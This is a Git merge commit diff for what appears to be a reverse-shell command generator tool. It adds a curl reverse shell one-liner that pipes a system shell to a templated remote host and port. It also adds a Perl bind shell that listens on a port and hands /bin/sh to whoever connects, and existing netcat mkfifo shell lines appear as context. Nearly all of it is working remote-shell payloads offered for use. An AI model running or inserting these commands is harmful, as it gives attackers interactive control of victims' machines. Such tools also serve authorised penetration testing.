Merge pull request #146 from cosad3s/main

Add Perl bind shell
Add curl reverse shell
This commit is contained in:
Ryan Montgomery 2023-10-11 10:52:48 -04:00 committed by GitHub
commit 56c54f96c8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -86,6 +86,11 @@ const reverseShellCommands = withCommandType(
"command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|ncat -u {ip} {port} >/tmp/f", "command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|ncat -u {ip} {port} >/tmp/f",
"meta": ["linux", "mac"] "meta": ["linux", "mac"]
}, },
{
"name": "curl",
"command": "C='curl -Ns telnet://{ip}:{port}'; $C </dev/null 2>&1 | {shell} 2>&1 | $C >/dev/null",
"meta": ["linux", "mac"]
},
{ {
"name": "rustcat", "name": "rustcat",
"command": "rcat connect -s {shell} {ip} {port}", "command": "rcat connect -s {shell} {ip} {port}",
@ -398,6 +403,11 @@ const bindShellCommands = withCommandType(
"command": "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 {port} > /tmp/f", "command": "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 {port} > /tmp/f",
"meta": ["bind", "mac", "linux"] "meta": ["bind", "mac", "linux"]
}, },
{
"name": "Perl Bind",
"command": "perl -e 'use Socket;$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,\">&C\");open(STDOUT,\">&C\");open(STDERR,\">&C\");exec(\"/bin/sh -i\");};'",
"meta": ["bind", "mac", "linux"]
},
] ]
); );